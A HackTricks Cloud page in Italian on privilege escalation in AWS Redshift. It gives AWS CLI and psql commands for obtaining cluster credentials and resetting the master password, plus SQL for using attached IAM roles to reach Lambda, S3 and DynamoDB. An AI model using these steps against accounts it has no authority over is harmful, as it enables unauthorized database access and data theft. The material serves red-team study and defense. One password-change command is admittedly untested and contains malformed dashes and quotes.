AWS - Redshift Privesc
Reading time: 4 minutes
tip
Impara e pratica il hacking AWS: HackTricks Training AWS Red Team Expert (ARTE)
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:  HackTricks Training GCP Red Team Expert (GRTE)
HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure:
Impara e pratica il hacking Azure:  HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
Redshift
Per maggiori informazioni su RDS consulta:
redshift:DescribeClusters, redshift:GetClusterCredentials
Con queste autorizzazioni puoi ottenere le informazioni di tutti i cluster (inclusi nome e nome utente del cluster) e ottenere credenziali per accedervi:
# Get creds
aws redshift get-cluster-credentials --db-user postgres --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM:<username>" -d template1 -p 5439
Impatto potenziale: Trovare informazioni sensibili all'interno dei database.
redshift:DescribeClusters, redshift:GetClusterCredentialsWithIAM
Con questi permessi puoi ottenere informazioni su tutti i cluster e ottenere credenziali per accedervi.
Nota che l'utente postgres avrà i permessi che l'IAM identity usata per ottenere le credenziali ha.
# Get creds
aws redshift get-cluster-credentials-with-iam --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAMR:AWSReservedSSO_AdministratorAccess_4601154638985c45" -d template1 -p 5439
Impatto potenziale: Trovare informazioni sensibili all'interno dei database.
redshift:DescribeClusters, redshift:ModifyCluster?
È possibile modificare la password principale dell'utente interno postgres (redshit) da aws cli (penso che questi siano i permessi necessari ma non li ho ancora testati):
aws redshift modify-cluster –cluster-identifier <identifier-for-the cluster> –master-user-password ‘master-password’;
Potential Impact: Trovare informazioni sensibili all'interno dei database.
Accessing External Services
warning
Per accedere a tutte le risorse seguenti, dovrai specificare il ruolo da utilizzare. Un cluster Redshift può avere assegnata una lista di ruoli AWS che puoi usare se conosci l'ARN oppure puoi semplicemente impostare "default" per usare quello predefinito assegnato.
Inoltre, come spiegato qui, Redshift permette anche di concatenare ruoli (a patto che il primo possa assumere il secondo) per ottenere ulteriori accessi ma semplicemente separandoli con una virgola: iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';
Lambdas
Come spiegato in https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html, è possibile chiamare una funzione Lambda da Redshift con qualcosa del genere:
CREATE EXTERNAL FUNCTION exfunc_sum2(INT,INT)
RETURNS INT
STABLE
LAMBDA 'lambda_function'
IAM_ROLE default;
S3
Come spiegato in https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html, è possibile leggere e scrivere nei bucket S3:
# Read
copy table from 's3://<your-bucket-name>/load/key_prefix'
credentials 'aws_iam_role=arn:aws:iam::<aws-account-id>:role/<role-name>'
region '<region>'
options;
# Write
unload ('select * from venue')
to 's3://mybucket/tickit/unload/venue_'
iam_role default;
Dynamo
Come spiegato in https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html, è possibile ottenere dati da dynamodb:
copy favoritemovies
from 'dynamodb://ProductCatalog'
iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole';
warning
La tabella Amazon DynamoDB che fornisce i dati deve essere creata nella stessa AWS Region del tuo cluster a meno che tu non utilizzi l'opzione REGION per specificare la AWS Region in cui si trova la tabella Amazon DynamoDB.
EMR
Consulta https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html
Riferimenti
tip
Impara e pratica il hacking AWS: HackTricks Training AWS Red Team Expert (ARTE)
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:  HackTricks Training GCP Red Team Expert (GRTE)
HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure:
Impara e pratica il hacking Azure:  HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
 HackTricks Cloud
HackTricks Cloud